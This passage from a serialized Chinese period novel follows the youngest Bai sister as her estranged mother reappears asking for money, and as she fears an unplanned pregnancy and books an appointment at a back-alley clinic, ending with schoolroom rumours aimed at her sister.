设若是我,才不干这样的傻事! 对于郑家树的话,更是不以为意了,以至于那之后郑家树几次有意接她的话头,她都没怎么搭理。 排演结束后径自回家,因为拿到了角色的缘故,白瑾琪心里高兴,难得地想要祭一祭五脏庙以作奖励,时隔几个礼拜,晚上也可以吃一口饭了。这样想着,胃里的馋虫似乎也跟着一滚,勾得她忍不住探头去看街上西点玻璃柜里的鲜奶油蛋糕。 正是这时候,白瑾琪听见有人叫了她两声。 那声音真是熟悉,怎么会不熟悉呢,她都听了有十多年了呀。有一阵子,她连睡着都能梦见那声音,可惜她在梦里心急如焚茫然四顾,就是见不到那声音的主人。醒了才想起来,那声音的主人,早就抛下她跑啦。 怎么现在又听到了呢?总不能是那人又回来找她了吧? 有那么一瞬,白瑾琪甚至不敢回头,只能木愣愣地站在原地。既怕那声音是幻觉,又怕那声音是真的。 直到有一只手过来拨了拨她的肩膀,陈芳藻久违的脸出现在白瑾琪的眼前。 她穿了一身橘色绣大花样的旗袍,白瑾琪还记得,这是从前陈芳藻某一次带她一道逛街时做的,她自己做了身旗袍,又给白瑾琪买了当时很流行的荷叶领连身裙。她看着这件熟悉的旗袍,从前许多回忆都控制不住地冒出头来。 她的眼神直愣愣的,嘴唇微微张开,下意识想要叫一声“妈”,但怎么都发不出声来。 反倒是陈芳藻,一瞧见白瑾琪的脸,先就淌了两道眼泪下来,抱着她哭道:“瑾琪,我的儿啊!我可是找到你了!你、你可千万不要怪罪妈妈呀!” 母女两个骤然见面,白瑾琪就不想哭吗?只是在人来人往的大街上,陈芳藻情绪失控地哭叫,很快就引得路人扭头来看她们;再想到当初正是自己的母亲卷了财产不告而别,白瑾琪硬是狠下心肠,使劲拆开了陈芳藻搂紧她的手臂,冷冷道:“在街上大哭大叫,像什么样子?有什么话,找个地方再说吧。” 说着,自顾自进了临街一家咖啡馆,陈芳藻见她是很冷淡的样子,反倒有些讪讪的,擦了擦眼泪紧跟上去。 一落座,不等白瑾琪开口,陈芳藻抢先对服务生道:“要一杯咖啡,再要一杯蔻蔻。”含着讨好的笑脸看向白瑾琪,“我记得你就爱喝这个,一定要热热甜甜的。” 她刚哭过一嗓子,情绪多少得到纾解,终于有功夫仔细打量起对面的白瑾琪。只见她穿一身蓝布面的学生装,可见正好好地上着学,再看她精致水灵的样子,料定日子过得不差,看来她两个姐姐,并没有撇下她不管嘛。反倒是自己—— 陈芳藻略显局促地把鬈发别到耳后,这头发还是好几个月前烫的,哪怕平时极力地保养,现在瞧着也松散了。她理了理头发,又向对面的人放了个笑容。 白瑾琪却没有露笑脸,扭头吩咐服务生道:“不要蔻蔻,也给我一杯咖啡。” 这在陈芳藻看来,当然是对她示好的拒绝,当下又泫然欲泣起来,“瑾琪,你这是还在恨着妈妈呀!” 白瑾琪咬着嘴唇,扭开视线道:“你不要叫,也不必哭,把你丢下我不告而别的事说清楚,我也不会恨你。再有,你既然回了首都,那么我的那一份遗产,也该还给我了吧。” 陈芳藻想不到她会这么冷静似的,一脸受伤的望了她道:“你这样说,真是在剜我的心!我、我那时候离开,绝不是要丢下你,我是去上海想法子去了呀!” 说着说着,又红着眼睛落下泪来,拿手绢拭着眼角接着道,“你想,我一个妇道人家,既要找落脚的地方,又要想安身立命的法子,再带着你可怎么好?上海未必就呆得下去,兴许就要转去苏州,或者去更远的重庆,你的书还读不读?我自己漂泊不定就算了,带着你,那是耽误你!” 她吸了吸鼻子,“我只好先去上海,找从前几个朋友买点股票试试,咱们的钱——”提到钱,陈芳藻便有些心虚,飞快地眨了几下眼睛,避开白瑾琪的视线讪笑一下,说,“总归是我的错,把钱亏出去不少,可我受了这次失败,立刻便收手了!瑾琪,我、我的日子并不好过呀!” 她的声音提高,眼泪又淌了满脸,“我在上海,心里没有一天不记挂着你,妈妈离不开你呀!我这次回来,拼了命地打听你的消息,逢人就问白府的三位小姐搬去了哪儿,我想着要是再找不到,就去大公报上登一则启事,你要是看见了,总不会狠心不见我这个妈!” 白瑾琪默默地听着,听到那句漂泊不定怕耽误她时,心里不能说没有一点动摇。记忆里那些和陈芳藻热热闹闹的场面,似乎又给这一份母爱润色了。 陈芳藻自责道:“我真后悔,为了追求什么独立,非要撇开你先跑去上海,落得个失败的下场。早知如此,不如就留在北京,咱们母女两个找一栋小房子住,用手上几处房产收一点租金,虽然比不上从前的舒坦日子,精神上总是幸福的。” “想想看,你去大学里念书,妈妈就出去找点事做,找不到就学学烧菜,等你回来了,咱们一道吃热腾腾的饭菜,多么好!到了休息天,我们娘俩还像从前一样逛公园,去百货店看——” 她讲得太动情,像编织了一张美梦的大网,白瑾琪被笼罩在其中,终于抵挡不住对母爱的渴望,由那半掩着的眼睫下,掉出一滴眼泪来。 陈芳藻看在眼里,像是徒然见到了希望,眼底一亮。 她又觑了觑白瑾琪的脸色,放柔了声音试探道:“这样的生活,现在也不是不能实现呀!” 第65章 第 65 章 妈妈糊涂,又是妈妈想差…… 白瑾琪终于抬起眼来, 拿被眼泪润湿的清清亮亮的眸子正眼看向陈芳藻,瓮声瓮气道:“怎么说?我现在和大姐姐二姐姐住在一起,你要搬来和我们一道住吗?” 陈芳藻一愣, 当下叫道:“那不行, 那不行。我之前不告而别, 虽说有我自己的考量, 可你大姐姐一定恨死我了!我现在回去, 她哪里会放过我?非得剥我一层皮不可!” 自从姐妹三个搬到椿樟街后,白瑾琪对白瑾瑜的印象,实在有很大的扭转,哪怕她嘴上不承认, 心里也隐隐将她看作是家里最靠得上的顶梁柱。此刻见陈芳藻对她没有一句好话, 反倒拧起眉头, 反驳道:“大姐姐又不是土匪恶霸,你把你的理由和她讲了, 真有道理, 她为什么恨你?你一跑没影了, 她待我, 一样也很好。” 陈芳藻这就有些意外,想不到自己这个女儿会帮着白瑾瑜讲话, 但她自知是理亏的一方, 当下也就转变了态度, 放出微笑道:“我知道, 她人不坏,但我实在怕她呀。你忘了,咱们从前在公馆的时候,我和她处得就不大融洽。” 她又是一笑, “所以我想,还是你搬出来和我住,咱们是打不散的亲母女,我想你两个姐姐,总不会不同意。” 和陈芳藻一起住并不是不好,只是白瑾琪忍不住想起这段时间在椿樟街的日子,她们三个围着圆桌子吃饭,她在桌上叽叽喳喳说个不停,白瑾瑜和白瑾璎则间或插上几句,虞妈从厨房端来热汤,远远地就能闻着香气,那气氛是很温馨的。 还有上回的公益演出,大姐姐说把钱白白地捐出去还不如给她买几身衣服,事后果然带她去逛了洋装店,添置了好几件冬天的毛线衫,又买了一双新皮鞋。所花费的,可远远超过了捐款的数目。 还有二姐姐,最是和风细雨了,虽然时不时地问她一句学业,可从来不会强迫别人做事,自己有什么烦闷,都可以向她去倾诉。还有把家里照料得井井有条的虞妈自己真要离开她们了吗? 白瑾琪实在感到舍不得,可仔细想一想,让陈芳藻和白瑾瑜住在同一屋檐下,不说自己没有决定的权利,恐怕白瑾瑜也不舒坦。 只好带着失落,退一步道:“即便我们搬出来住,最好也能住在临近椿樟街的地方,和两个姐姐,也可以彼此照应。” 陈芳藻听她这样说,反而高兴起来,附和道:“是是是,我正是这样想的。你的两个姐姐,都是有钱有本领的新式女子哩,你年纪最小,正是需要她们帮一帮你的时候——” 她呷了口咖啡,不大好开口似的,静默了一瞬才说:“只是离椿樟街近的房子——瑾琪,你不要这样看着妈妈。咱们分得的钱,虽然让我闹了一笔小亏空,但房契还是在的,只是那几间房子,没有一间在椿樟街的附近。要想租一间,不说能不能租得到,所费就不小,偏偏在现成的银钱上,我们是很困难的” 陈芳藻的笑容里透出一丝心虚,“为着我先前犯的错误,你的两个姐姐,势必对我很有微词,我就不便出现在她们面前,去激化这一份矛盾。何况我又是个外人,和你不一样,瑾琪,我看她们对你倒很有几分亲姐妹的情谊,这件事能不能做成,还得靠你从中斡旋呢。” 白瑾琪听出来了,陈芳藻是不愿意低声下气地去认错,有意要避开正面的交锋。可是靠她怎么斡旋?白瑾瑜那样聪明,但凡她有目的地说一句陈芳藻的好话,就足够引发她的怀疑了,还不如开诚布公地摊开了说。 她心里也在思忖着,当下便没有做出回应。 陈芳藻见她不说话,便两手交握着攥紧了,硬了头皮说下去:“这件事,妈妈真要求你帮一帮忙。你两个姐姐现在带着你生活不错,可你要是照实说要搬出来和我住,她们乐得丢开你这个包袱,不管你了。所以你得好好地说,你姐姐们现在待你很好,你正好哄一哄她们,多说几句好话,请她们替咱们置办好房子,这在她们,只是动动手指头的事儿呀。” 那意思,是让白瑾琪出面,求两个姐姐给她买房产了。 为着陈芳藻带走了所有钱款的缘故,自己本来就是身无分文,好在白瑾瑜并不说她什么,照样管着她的吃穿用度。就这样她还不知足,还要问白瑾瑜要房要地吗?她成什么人了? 白瑾琪像被人打了一耳光似的,脸上火辣辣地羞愧着,咬着牙道:“你连见都不敢见我大姐姐,却要我问她拿房子?妈,你未免把我想得太厉害。” 她把一个“妈”字咬得极重,实在能听出一种讽刺的意味,同时一张俏脸冷沉着,绷着嘴唇又说,“你不是说房契还在吗?我分到的房子,总有两三处之多,实在不行,就住得远一点,或者卖掉一间,还不够租赁屋子的费用吗?你想让姐姐出钱,没有这样的道理。” 说罢,手心向上往前一伸,“房契呢?这是爸爸留给我的,我来保管吧。” 从前住在公馆时,她们就没为钱发过愁,这就避免了□□成的争吵。是以,这还是白瑾琪头一回用这么冷硬坚决的口气和陈芳藻说话呢,加上那向上摊开的手掌,实在让陈芳藻吓得心惊肉跳。 笑容僵硬一瞬,立刻安抚道:“你的东西,当然要给你,只是我在外头东奔西跑地找你,哪里会把房契带在身上?我好好地放在旅店里呢。傻孩子,往后我们住在一起,还怕东西到不了你手上吗?” 陈芳藻想着她刚才的诘问,知道自己一时片刻并不能把女儿说动,她惯会审时度势,现在自己是毫无倚仗的弱势一方,当然只有服软一途。 改口道:“妈妈糊涂,又是妈妈想差了。我当初想着去上海求独立,不就是糊涂劲犯了吗?唉,我现在是决心反省了。你是受过教育有知识的人,往后一切,妈妈都听你的。” 见白瑾琪神情松动却不说话,又添一把火:“我也想了,既然往后要互相照应,我不去见你大姐姐,和她道一个歉,终究说不过去。不过在我拜访之前,你还是得替为娘调和调和,不能让我碰一鼻子灰,太难看了呀。” 白瑾琪惊讶地看她:“你真愿意去见我大姐姐,和她道歉?” 陈芳藻讪笑一下,“我很应当去见她,我看她把你照顾得很好,是以我不光要道歉,还要和她道个谢哩。” 这一个表态,实在扣动了白瑾琪的心房。她舍不得白瑾瑜,同样也割舍不了陈芳藻,可谓是手心手背的局面,设若她们真能和平地相处,那真是再理想不过了。另有一点,只要陈芳藻见过了白瑾瑜,那她再和母亲搬出去住,就算是过了明路了,不必有偷偷摸摸的憋屈感。 再说白瑾瑜,她是很讲道理的一个人,陈芳藻大概有许多地方让她看不过眼,但毕竟是一道生活了十来年的关系,自己若尽全力去调解转圜,不是没有破冰的希望呀 这样想着,白瑾琪的脸上,终于露出一点向往的笑容。 陈芳藻见了,立刻抓住这个时机,拿出一张旅店的小名片道:“只是我们怎么联系呢?你大姐姐现在正不待见我,我可不敢给你挂电话,找人递消息呢,也有被她截获之可能,暂且还是由你来联系我吧。” 见白瑾琪收了名片,又支吾着问:“瑾琪,你现在,手头方便吗?我说眼下银钱紧张,那不是假话,不过你那几处房产,我是绝不会动的!我想,你两个姐姐总不会一分零花钱也不给你,你看能不能匀给我一些,我这里对付着,也好找人先将房子看起来。” 白瑾琪手上,倒确实攒下三百多块钱。除却平时白瑾瑜给的零花不算,因为最近有意错开晚饭的缘故,白瑾璎也时不时塞给她一些小钱,方便她在外头买点心吃,不要饿着。白瑾琪咬着牙想瘦,倒是把这一笔笔小钱,积少成多地存起来了。 现在看,这钱倒存得很是时候。 白瑾琪略点了点头答应下来,一看手表,哎呀,竟比平时还晚了近半个钟头,当下不敢再耽搁,匆匆别过陈芳藻往家里去。 回到家里,白瑾瑜正坐在沙发上和白瑾璎说笑,一听见她回来便扭头望过来问:“怎么今天比平时还晚些?”可见时刻留意着大门口的动静。 白瑾琪被问得心里一抖,见白瑾瑜并白瑾璎都是笑意盈盈的,实在是很好的气氛,设若自己骤然提及陈芳藻,那无疑是要把这和乐融融的氛围给打破了。不,不,还是慢慢来的好。 于是只说:“和一个同学去咖啡馆坐了坐,一谈话,就忘了时间。” 白瑾瑜瞅了她一眼,漂亮的眉梢微抬,“怎么眼圈红红的?你们戏剧社给你排了哭戏吗?”对此,她也没有多加评判,只是喊来了女佣人,“阿苗,阿苗,给瑾琪拧一条热毛巾敷一敷脸吧!” 白瑾琪只觉得心里一暖,可当视线扫过收拾干净的圆桌子时,心里又一突,她无疑又错过了家里的晚饭。 唉,她和陈芳藻谈话的时候满腹忧郁,哪里有心思吃东西,光喝了两口苦咖啡,本来还想着晚上破例多吃几口犒劳自己呢,结果这个计划也宣告破灭。那怎么办?不如就将瘦的决心坚持到底吧! 白瑾琪舒服地敷了脸便回房间休息,然而到了半夜,那种饥饿却愈发的难以忍受。 她从前抱定了不吃的决心,那就可以咬牙坚持,但因今天生出过“想吃”的念头,潜意识里,对食物渴望的门户,就给打开了。 白瑾琪在床上睡得颇不安稳,三更半夜,竟给饿醒了。 第66章 第 66 章 我这不要是…… 白瑾琪几次闭眼尝试着入睡, 都没能成功,于是干脆掀了被子,蹑手蹑脚地摸下了楼。 家里的外国饼干放在哪里来着?可一想到那种硬脆又偏干的口感, 配着白水吃, 实在也没什么滋味。她一面走一面想, 愈是靠近厨房, 愈发闻到一丝浓郁的香气, 带着钩子的鱼线似的,勾着她一步步蹭过去。 扭开电灯一看,只见炉灶上放着一个陶瓷的大锅,再将锅盖一揭开, 黄豆猪脚汤那浓郁霸道的香气, 立时带着余温直往人的脸上扑。 白瑾琪当下便控制不住地吞咽一下, 几乎已经想象得到它鲜香微黏的口感了,心想:我这许久没有吃过一顿像样饱饭的人, 今天破例小小喝一碗汤, 总不要紧吧? 于是自取了碗勺, 盛了奶白浓香的一碗, 一勺接一勺,活像品味珍馐一般饮尽了。汤碗见底, 那灵动的眼睛又瞥向了锅里炖得软烂晶莹的猪脚, 舔着粘乎乎的嘴唇, 动摇地想:猪脚是很好的东西, 多吃一点,还有美容之功效哩!我虽然要瘦,可肌肤的饱满美丽,也绝不能拉下, 故而我吃一个,也是情有可原的! 当下不再有负罪感,舀了一只软嫩猪脚,三两口嗦下肚去。 大半个月来,白瑾琪的五脏庙还是头一回有了“饱腹”的满足感,她美美地回去房间睡觉,想不到这满足感却没能持久,迷迷糊糊快到早上的时候,像是越缠越紧的布条似的,勒得人腹部连带着胸口都发闷。 白瑾琪就是在这一阵难受劲儿下苏醒的,一下床还没有站直呢,便觉得从胃里反上什么来直冲喉头,先就奔去盥洗室吐了个昏天黑地。 脑袋空白地吐完了,刚一想到昨晚上偷喝的猪脚汤,又是一阵恶心打哕。也正是这个时候,一个念头在脑海中闪现,白瑾琪当下被吓得浑身发冷,连呕吐都顾不上了。 我这不要是怀孕了吧? 一旦往这个方向去深想,便又注意到了一件可怕的事:她每月准时的那几天,这个月还迟迟没有来。 白瑾琪倒吸了口气,只觉得这一下呼吸的工夫,整个后背都发了一层冷汗。仔细想想,她也是根据道听途说,粗略算了算日子和郑家树秘密约会,本来自己算术就是最差的,何况他们两个生手,没轻没重又没分寸,哪里都是漏洞! 怎么办?怎么办?!首要的一点,那就绝不能告诉白瑾瑜! 究其原因,绝不单单因为白瑾瑜在这个家里的威严,白瑾琪的念头要复杂得多。扪心自问,她对自己实在是不坏,也正因如此,自己闹出一场“未婚先孕”来,不要说白瑾瑜会大大地失望,她自己也像被抽了一记耳光似的,想到从前总标榜自己为“新式女性”,那实在是羞愧。 再有一点,为了她想在演艺界发展的事,白瑾瑜已经和她有过争执,尽管她们现在两两装傻,谁也不提这一茬,可这一根导火索就不存在吗? 白瑾瑜本来就对她的艺术梦颇有微词,她正是卯着劲,想做出一番成绩来证明自己呢。好了,成绩还没拿到,先来了一个孩子,这怎么不是一出巨大的失败?往后她就是稀里糊涂、愚昧轻狂的代名词,这一个污点,就要跟随她一生了! 怎么办、怎么办 惊惧的冷颤沿着后背往上爬,白瑾琪眼眶一潮,当下就要哭,可那哭声才刚漏出一点前音,就被她捂着嘴硬生生咽了回去。白瑾瑜做贼心虚似的环顾四处,生怕被人看见,赶紧洗了把脸装作无事。 她躲回房间里,心里料定是闯祸了,捂着肚子,陷入一种被人抛弃似的可怜氛围里。心想:我能去找谁?当然是郑家树!他是始作俑者,我倒要听听他怎么说! 只是身体上带着不适,精神上又压了一座大山,那状态可想而知就不会好。 排练结束后,郑家树倒是跑来关心她,白瑾琪专门往隐蔽无人的地方走,状似无意地压低了声音道:“没什么,我想到昨天大家说的女明星怀孕的事,心里有点慌。万一我也——这种事是说不准的呀。” 郑家树似乎是觉得她的想法有些可笑,说:“胡说八道,没有的事。而且我每次不都是在外面吗,不会有的。” 白瑾琪听着他轻巧的口吻便觉得心里有气,当下停住脚步,正了脸色看着他道:“你说没有就没有吗?如果有了呢?” 白瑾琪在学校里,一直是活泼泼又骄傲的样子,骤然收起了笑容,反倒让郑家树感受到了事态的严重性。他到底太年轻又少担当,先是一惊,随后都是心慌,渐渐地,脸上的微笑都消沉了,随即意识到这表情可不好,才刻意提了提嘴角含糊道:“你也说是‘如果,你们女孩儿总爱自己吓唬自己,白白的担惊受怕。” 他虽然想过和白瑾琪结婚,可那到底是爱情上头时的冲动念头,他心里喜欢是不假,可突然冒出一个孩子,那可不是妙事。 郑家树偷觑一眼,见白瑾琪并不说话,只是沉沉地将他看着,下意识便避开了视线,半心虚半安抚道:“你最近怎么格外的多思多想?是不是晚上睡得不好?那就快回去休息吧,咱们现在谈这些太早了” 白瑾琪倒不是伤心,只是发现一起闯祸的人担不了事,心里加倍的后悔罢了:自己真不该为了一点好奇和新鲜劲,就不顾后果地,全凭兴致来做事!什么叫搬起石头砸自己的脚,现在她的心真像是变成块石头,直直地往脚底下坠呢! 她心里发冷,连带着嘴里也发出一声冷笑,道:“你说的不对,哪里是谈这些太早,我要不要和你来谈这些,那还是两说呢。” 扭头往回走的途中,却再一次福至心灵——不对不对,除去郑家树,还能去找陈芳藻呀!她此刻人就在北京!她一个大人,又有生育的经验,总可以告诉我该怎么做! 于是立刻写了张字条,雇了个黄包车夫送去陈芳藻落脚的酒店,隔天就把人约了出来。 陈芳藻初时还满心欢喜,以为字条上写的“有要事商量”,是白瑾琪已在两个姐姐那里打通了关节,要和她进一步商议搬家的事呢。想不到白瑾琪开口就是一句“我好像怀孕了”,吓得她脸色一白。 陈芳藻又惊又疑:“你怎么就怀孕了?谁的?!”可下一秒,那神情又一变,笑着问,“你交男友了?什么人?瞧我,我们瑾琪的眼光总归不差的,既然有了,那就结婚好了,正好可以搬出来,再把妈妈接过去。我和你说,姑娘们就该在花骨朵儿一样的年纪里找个好人家嫁了,你大姐姐那样的,那就太大了。” 陈芳藻堆了满脸的笑容,甚至还透出一点可喜和自得来,白瑾琪心里烦闷,忍不住打断道:“你别管是什么人,反正结婚绝不能够,孩子也绝对不要,我来找你,就是想问问怎么办——” 陈芳藻的情绪一下就转喜为怒了,瞪着白瑾琪道:“胡说八道!怎么就不能结婚?是对方不愿意负责任吗?那不能够!你还叫我别管,我是你妈,我能不管吗?!还有你两个姐姐也有责任,你年纪小不懂事,她们也不知道看着你一点吗!我非得和她们说说理去不可——” 白瑾琪本来心里就急迫,现在听她怪这怪那,最后还怪到白瑾瑜和白瑾璎头上,又更添几分难堪,加重口气道:“你管我什么?你要真管我,当初怎么就把我抛下了呢?” 这样一说,陈芳藻果然哑火了。白瑾琪也不给她再开口的机会,赶紧哭诉道:“妈,现在怎么办呢?要不你陪我去医院里做一个检查吧,我一个人实在害怕” 陈芳藻做了亏心事,很怕她把先前的旧账再翻出来,只好不再多问。也急道:“孩子,你傻呀!这件事瞒得越紧越好,哪里能大张旗鼓地上医院?医院里的护士,就没有不爱嚼舌根子的,病人也多,但凡碰见一个认识你的人,你怎样说得清?” 白瑾琪听着,眼眶已经噙了眼泪,只一个劲儿地问“怎么办”。 陈芳藻从来就是担不起事的性格,看白瑾琪挂着泪珠,自己心里也发慌,两手揉搓着先应付道:“好孩子,我看还是找一个偏僻人少的小诊所为宜,你也别怕,你自己也不确定,未必就是真的呀!” 这话也不知是在安慰白瑾琪,还是在给自己压惊。横竖过了两天,陈芳藻带着白瑾琪去了离椿樟街远远的一处街区,七拐八拐地,钻进一条小胡同里。 这里的环境,当然绝不能和她平日生活的地方相提并论,不说脚下的路面坑坑洼洼,胡同两侧的矮房也都是灰扑扑的,老旧的木头门窗上裂了缝,一推就是吱呀一声。间或遇上几个住户行人,白瑾琪总觉得那视线偷窥似的落到自己身上,叫人心里发毛。 好在她围了一条大披肩,几乎可以挡住大半张脸,缩着脖子埋头,也就将那些视线给隔绝了。 又往前走了几十步路,陈芳藻才拉住她的胳膊,飞了个眼色示意说:“到了。” 只见左手边一间白色铺面,和周围破旧的房屋相比,显得整洁干净得多。大门两边贴了不少广告单,有被撕坏的,也有发黄的,一张盖着一张,且不管那上头写了什么,大门镶嵌的毛玻璃上贴着“平安卫生所”五个鲜红的大字,那就比什么都先抓住人的眼球。 第67章 第 67 章 你想要今天做手术,我们…… 白瑾琪躲在陈芳藻的背后, 顺着台阶上了二楼,二楼是一条狭长的过道,两边各有一间诊室似的房间, 一边的门紧闭着, 另一边倒是打开的。 大概是听到有人上楼的脚步声, 开门的房间里走出一个约莫四十来岁的女士来, 冲她二人招了招手说:“来这里, 来这里。” 白瑾琪活像丢了魂似的,给人带着走进了四面雪白的诊室,又给扶着坐上了诊室里一张狭窄的小床。她的神经本就紧绷着,不知怎么的, 一沾上诊床, 整个后背都竖起汗毛, 身体僵硬着,怎么都不愿意躺下去。 那女大夫刚要皱眉, 视线在白瑾琪并陈芳藻体面的着装和忧惧的脸色上扫过一眼, 也就随她去了, 只在嘴上奚落了一句:“好吧, 你想坐着就坐着,像你们这样的小姑娘, 平时要是有这样不依不从的劲头, 也不必上我这卫生所做检查。” 说着, 扭头拿出一副西式的听脉器夹在耳朵里, 将听脉的那一头按在白瑾琪的胸口和腹部,有模有样地听了起来。 白瑾琪怕得不行,两眼紧盯在那女大夫的脸上,留心着她的表情, 但凡拧一下眉头,她的心都要狂跳好几下。想不到听了一阵,那女大夫便放下了听脉器,抓了白瑾琪的手腕开始给她号脉。 见两个客人都疑惑地盯着她看,那大夫也不局促,笑了一下说:“说到底,老祖宗的东西可比西医管用,我两样都很在行,正可以上一道双重的保险。” 白瑾琪随她怎么说,她此刻的感受,便好似自己是砧板上的一块肉,随便人家怎么摆布,自己干脆听不见看不见才好。一只手被那女大夫粗糙的手指按着,另一只手则紧紧握了陈芳藻的手,想汲取一点安全感似的。 半晌,那女大夫收回了手,叹了口气道:“果然,你小姐是有了。不过还太小,听脉器听不出来哩。” 她这一句话,一下就把心存侥幸的两人打入了谷底,白瑾琪只觉得心头一个咯噔,整个人的体温都在这一刻流失掉了,偏偏她从陈芳藻的手上也感受不到温度,那么陈芳藻的惊慌程度,也就可想而知了。 那女大夫大概见惯了这种场面,仍旧可以提着嘴角,做一个微笑的模样,问道:“看你二位的模样,也是不想要的,那么是今天就实施手术呢?还是改天呢?只是孩子这东西,拖的越久危险就越大,我看不如就是今天吧?” 白瑾琪顿时打了个冷战,当下一句话也说不出来,只把头摇得拨浪鼓也似。 再看旁边的陈芳藻,也是脸色煞白。她这两天仔细想过,自己这个女儿,一向粗心大意,有时候自己的事情都搞不清,故而她虽然找了间小诊所陪着白瑾琪来,心里实则存了七八分的希望,想不到就给完全地打破了! 当下,她也顾不上要去找白瑾瑜“看管不力”的麻烦了,单说自己是白瑾琪的妈妈,现在陪了女儿来小诊所打胎,打好了怎么办?打得不好又怎么办?自己负不起这个责任。 现下,白瑾琪的衣食住行都由那一位大小姐管着,白瑾琪真要有什么事,她能不插手吗?到时候知道这里头还有自己一份,新账旧账一起算,自己更要吃不了兜着走了! 陈芳藻的脸色顿时难看起来,然看见大夫还站在对面等着,隐隐有不耐烦的神色,又扯了扯嘴角客气道:“今天不做,今天不做,这是大事,我们回去要好好商量一下。” 女大夫听了,也跟着拉下脸来,嘴里放出一声冷笑道:“我刚才问你们,不过客气一下,你想要今天做手术,我们还没有位置呢!” 说着,又从半新不旧的木桌子抽屉里拿出一本厚厚的簿子,哗啦啦地翻开给陈芳藻看,“要做手术,可是要预约的,还要先交十块钱的预约费。现在么——最早可以约在下个礼拜三。” 确定做还是不做,定在礼拜几做,这也是很但责任的事。陈芳藻讪讪地一笑,回头看向白瑾琪,那意思是要她自己决定。 白瑾琪的脑子里像塞了团浆糊似的,心里还没决定做不做呢,先想到:这事儿不能叫学校里的人知道,那就不能安排在要上课的日子,最好也不能让两个姐姐知道,那就不能放在休息日,无缘无故出一趟家门。 过了半晌,才小声道:“不要礼拜三,我、我们约礼拜五的傍晚。” 她说这话时,手还紧紧握着陈芳藻的手,需要母亲陪伴的意思,也就很明显了。陈芳藻脸上的笑又僵了一下,偷偷瞧了白瑾琪一眼,到底没有说什么,交了十元预约费,将女儿带走了。 离开时,两人还是用大披肩围着脸,只是心里揣着坏消息,那脚步便格外的沉重。白瑾琪胡思乱想着:我遮头挡脸,就是为了不让人认出我来,但就我现在这颓丧灰败的样子,恐怕别人见到我,也认不出我吧? 又抬起头,向着破旧的小巷四处环顾一圈,自嘲道:什么认不认得出,我真是多想,我认识的人,哪一个也不会出现在这种地方的。 她这就想差了。 在距她不远的巷子拐角处,就有一个人向她的背影打量了两眼,满脸的奇怪狐疑,不信似的又盯着看了一阵,直到同行的人叫他,才回过神来一道走了。这人是谁,这里先不做揭晓。 再说白瑾琪浑浑噩噩地回到家里,本想着一个人好好静一静,想不到一开门,正对上客厅里白瑾璎和虞妈两张很可亲的脸,两人一看见白瑾琪,倒是惊了一跳:“啊呀!怎么脸色这样白?” 白瑾璎让虞妈去拿热毛巾和热茶,自己握了一把白瑾琪冰凉的手道:“怎么冻成这样?现在天凉得很快,以后出门可要记得多穿一点,瑾瑜之前不就给你买了新的毛线衣吗,这就可以穿起来了。” 一面说,一面将桌上一个小盒子打开了递到她眼前来:“你瞧,你上回说好吃的蝴蝶酥。我今天正巧路过春华大饭店,便又买了,还是刚烤出炉的呢,快吃一块。” 白瑾琪下意识地捏了一块在手上,那点心是温热的,白瑾璎握了自己的手也是热的,她对自己亲切的话语微笑,更是烫热的。 她化作石头往下坠的心,霎时像是给人捂化了。 白瑾琪从坐上卫生所的小床到独自回到家都还没哭过的眼睛,一下就潮湿起来,得亏了她有几分表演的功力在身,才堪堪忍住眼泪,没有让白瑾璎看出端倪。 她佯装轻松,笑嘻嘻地和白瑾璎聊了几句,又用虞妈拧来的热毛巾擦了手脸,才俏皮似的拿了一盒点心回去房间。只是一关上房门,整个人便脱力一般抵在门后,滑坐到地上小声哭起来。 之前在诊所的时候,她太慌了,也太害了,虽然约下了时间,实则心里什么都没想好。可现在她想好了,这个东西一定要打掉! 白瑾瑜有一个正在交往的孟先生,白瑾璎虽然没有恋爱,但她这样漂亮柔弱的女子,往后一定是要结婚的呀!要是自己未婚先孕,人家会怎么议论自己两个姐姐?那个姓孟的会不会变成第二个姓柳的,把大姐姐抛弃? 白瑾瑜虽然硬气,心里难免不生闷气,白瑾璎呢?她简直会被流言蜚语击倒的! 不能因为自己这一时荒唐的错误,让一个姐姐受气,另一个姐姐受苦,那就太自私了! 何况大难临头的时候,唯有这两个姐姐没有抛下你,你就是这样“报答”她们的吗? 白瑾琪起先咬着袖子狠狠地哭着,而后渐渐安静下来,任凭眼泪直流,人却目视前方想得入神。忽而,她抬手将眼泪一抹,动作之坚决神色之坚毅,可见已是下定决心了。 再看客厅里的白瑾璎,在对着白瑾琪和虞妈时总是扬着笑脸,可当白瑾琪回了房间,虞妈也去忙活自己的事,客厅里只留下她一个人时,那笑脸也消退了。她空望着不知哪一处,脸上是很愁苦疲惫的样子。 白瑾琪在打胎一事上考虑她良多,有一件事考虑得很对。 白瑾璎实在是个容易被流言蜚语击倒的柔弱人。 第68章 第 68 章 “是呀,我看那新老师为…… 像缪昌平这样的小人, 最爱在背地里做小动作,要防他,是防不住的。 应到白瑾璎的身上, 那就是学生之间似乎有了一种说法, 说教洋文的白老师和新来的教务专员私下里是恋爱的关系, 这谣言在前三个先进班里尤为盛传。 白瑾璎起初并不知情, 只是走在学校里头, 总感觉有女学生偷觑着自己窃窃私语,上去问她什么事,又什么也不说,只是捂嘴偷笑着跑走。 直到某一堂六班的洋文课, 白瑾璎一走进教室, 就看见孙立学并徐克行两个人站在讲台前, 两条胳膊互相掣肘着,一副打架的样子。而孙立学的跟班梁小山则从背后扣住徐克行的腰肩, 要把他拉开。 白瑾璎当下喝止住三人, 让他们回去各自的座位。 孙立学见她来了, 竟也没有纠缠, 脸上甚至露出一点快意的笑容,大方地率先松开了手, 向梁小山使一个眼色, 两人大摇大摆地下了讲台。反倒是徐克行, 一经自由, 并不急着回去,而是拿起了讲台上的板擦,要先去擦黑板。 孙立学摊开手脚坐在椅子上,高声道:“你擦什么?这又不是见不得人的事, 也让咱们白老师看一看呀!” 白瑾璎拧着眉头去看,才发现黑板上大大地写着自己和程佩生的名字,两个名字的中间画着一颗桃心,又飞着一支爱情之箭。再看孙立学得意洋洋的表情,这画作出自谁人之手,也就不言而喻了。 结合最近的种种迹象,白瑾璎心里已明白了是怎么回事。可她同时也想不明白,自己和程佩生一句多余的话不曾讲过,何以就有了这样的谣言? 她冷凝着脸,望了孙立学道:“密斯脱孙,你自己的大作,就由你自己来擦吧。下课的时候,你怎样乱涂乱画我不管,既然上课了,那就要擦干净。” 孙立学歪着嘴坏笑,故意说:“干嘛擦了?这是件喜事呀,我当白老师见了会高兴呢,恭喜恭喜了。”说着,还抬手拱了两下。 